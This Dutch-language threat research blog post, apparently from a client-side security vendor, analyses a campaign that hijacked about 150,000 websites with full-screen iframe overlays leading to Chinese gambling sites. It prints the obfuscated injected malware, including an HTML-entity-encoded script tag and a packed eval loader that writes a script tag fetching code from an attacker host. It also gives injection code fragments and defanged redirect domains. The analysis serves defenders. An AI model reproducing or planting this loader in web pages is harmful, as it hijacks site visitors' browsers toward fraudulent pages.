Skip to main content
Blog
Blog Attacks

Meer dan 150.000 websites getroffen door volledige pagina-kaping met links naar Chinese goksites

We schatten dat ongeveer 150.000 websites zijn getroffen door deze campagne. Het script definieert een reeks trefwoorden gerelateerd aan weddenschappen, gokken en casinomerken, zowel in het Engels als in het Chinees.

Mar 26, 2025 4 min read
150k-websites-article-image-cover

Kort samengevat: iframe-kaping met HTML-entity encoding richting Chinese gokmerken op 150K schaal

  • Iedereen viert het als een campagne een takedown-kop haalt. Aanvallers schalen simpelweg van 35.000 sites naar 150.000, voegen Bet365-branding toe voor legitimiteit en wisselen van Unicode-escapes naar HTML entity-encoding om onder dezelfde statische scanners door te glippen die de overwinning meldden.
  • Het keyword-script vergeleek titels met bet365, WilliamHill, 12bet, w88 en Chinese merken 宝威 en 太阳城, en schreef vervolgens een fullscreen iframe naar 888fff.zuizhongyj[.]com en bestemmingen als 551007t[.]cc, t399229[.]com en W88in[.]com. cside monitort runtime iframe-injecties en scriptgedrag bij echte bezoekers, niet de statische snapshot die de crawler ziet.
  • Volg je deze klasse aanvallen alleen via domeinlijsten, laat die gewoonte dit kwartaal los. De infrastructuur ging over op HTML entity-encoding en viewport-afdwinging via mutation observer, en je enige overgebleven checkpoint is wat de browser van de bezoeker daadwerkelijk rendert.

In februari ontdekten we een dreigingsactor die meer dan 35.000 websites aanviel met een kwaadaardige volledige pagina-kaping. We zijn de activiteiten van deze actor blijven volgen en hebben nieuwe tactieken en technieken geïdentificeerd. Ze hebben hun operaties aanzienlijk opgeschaald: we schatten nu dat ongeveer 150.000 websites zijn getroffen door deze campagne.

Wat is er nieuw aan deze aanval?

UI/UX-wijzigingen

De dreigingsactor heeft hun interface licht vernieuwd, maar maakt nog steeds gebruik van een iframe-injectie om een schermvullende overlay in de browser van de bezoeker te tonen. Hier is een voorbeeld van een van hun meest recente geïnjecteerde pagina's:

Geïnjecteerde schermvullende overlay met de vernieuwde gokpagina van de aanvaller

Hoewel de visuele vormgeving en indeling kunnen verschillen, blijft de onderliggende injectiemethode in de kern hetzelfde.

Codefragment dat toont dat de injectiemethode ondanks de vernieuwde interface hetzelfde bleef

Variaties op hetzelfde thema

Een andere variant van deze aanval vertoont vergelijkbaar gedrag: er worden scripts en iframes geïnjecteerd die legitieme gokwebsites nabootsen, zoals Bet365. In veel gevallen worden officiële logo's en huisstijlelementen hergebruikt om de aanval geloofwaardiger te laten lijken.

Nepgokpagina die de Bet365-huisstijl nabootst om legitiem te lijken

HTML-entiteitcodering in de geïnjecteerde code

In statische code wordt de kwaadaardige JavaScript als volgt geïnjecteerd:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#64;&#112;&#117;&#98;&#108;&#105;&#99;&#47;&#98;&#97;&#115;&#101;&#46;&#106;&#115;"></script>

Dit is een voorbeeld van HTML-entiteitcodering, een andere manier om code te verhullen. Het maakt het geïnjecteerde script op het eerste gezicht minder opvallend. Als je dit fragment decodeert naar platte tekst, krijg je:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Gedecodeerde HTML-entiteitgecodeerde scripttag die de /@public/base.js-payload onthult
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7  \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))

Je kunt HTML-entiteitgecodeerde tekst decoderen met gratis tools zoals CyberChef.

Binnen deze aanval bevindt zich ook JavaScript dat zichzelf decodeert naar:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
  '\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22  \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);

Wat uiteindelijk het volgende schrijft:

<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>

Aanvallers gebruiken obfuscatie om de ware aard van het script te verbergen voor snelle scans of minder geavanceerde detectiemethoden.

Analyse van de uiteindelijke JavaScript-payload

Hieronder staan enkele belangrijke kenmerken van het eindscript:

Trefwoordgebaseerde detectielogica Het script definieert een reeks trefwoorden gerelateerd aan weddenschappen, gokken en casinomerken, zowel in het Engels als in het Chinees (bijv. bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).

Vervolgens wordt de <title>-tag van de huidige pagina vergeleken met deze lijst:

var keyWord = [
  { key: [...], id: 1 },
  ...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
  a = keyWord[i].id;
  c = '?id=';
  ...
}

Zodra een overeenkomst wordt gevonden, stelt het script een ID-parameter (?id=) in voor gebruik in de volgende fase van de omleiding.

Viewport-tag afdwinging De code bevat handleViewportTag(); plus een mutation observer en een setInterval-aanroep om herhaaldelijk een mobielvriendelijke viewport in te voegen:

<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">

Dit zorgt ervoor dat de schermvullende overlay correct wordt weergegeven op mobiele apparaten.

Schermvullende overlay + iframe-injectie Het script van de aanvaller maakt een <div class="lbb"> aan die het volledige scherm bedekt (via CSS position: fixed; z-index: 9999; ...) en injecteert een schermvullend <iframe>:

var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');

Iedereen die de gecompromitteerde site bezoekt, ziet de kwaadaardige gok-landingspagina in plaats van de legitieme pagina-inhoud.

Omleidingsdoelen

Tijdens de analyse hebben we meerdere omleidings-URL's waargenomen, waaronder:

hxxps://551007t[.]cc/

Chinese gokpagina getoond op de omleidingsbestemming 551007t[.]cc
Tweede weergave van de goksite op de omleidingsbestemming 551007t[.]cc

hxxps://t399229[.]com/

Chinese gokpagina getoond op de omleidingsbestemming t399229[.]com

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

Pagina met toegangsbeperking getoond op het omleidingseindpunt wa38di[.]com

(Eerder gezien in andere campagnes)

hxxps://W88in[.]com

Chinese gokpagina getoond op de omleidingsbestemming W88in[.]com

hxxps://b217102[.]cc/

Chinese gokpagina getoond op de omleidingsbestemming b217102[.]cc

hxxps://g977115[.]com/

Chinese gokpagina getoond op de omleidingsbestemming g977115[.]com

hxxps://lucky298[.]com/

Verschillende van deze sites blokkeren selectief verkeer uit bepaalde regio's, wat ons doet vermoeden dat de primaire doelgroep Chinees sprekende gebruikers in China, Hongkong en de Verenigde Staten zijn.

Omvang van de aanval: 150.000 websites (en groeiende)

Door gebruik te maken van openbare zoektools (bijv. PublicWWW) hebben we alle websites geclusterd die het geobfusceerde scriptfragment bevatten. Op het moment van onze analyse identificeerden we meer dan 150.000 unieke sites. Je kunt een live zoekopdracht van deze infecties hier bekijken.

Deze aanval laat zien hoe dreigingsactoren zich voortdurend aanpassen, hun bereik vergroten en nieuwe lagen van obfuscatie toepassen. Client-side aanvallen zoals deze nemen toe, met elke dag meer nieuwe bevindingen.

Als je vermoedt dat jouw site mogelijk is getroffen, controleer dan alle scripts op verborgen HTML-entiteitcodering of verdachte <iframe>-injecties. Zoals altijd blijven voortdurende waakzaamheid en regelmatige site-audits je beste verdediging tegen dit soort aanvallen.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor en Beveilig Je Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside dashboard interface met script monitoring en beveiligingsanalytics
Related Articles
Boek een demo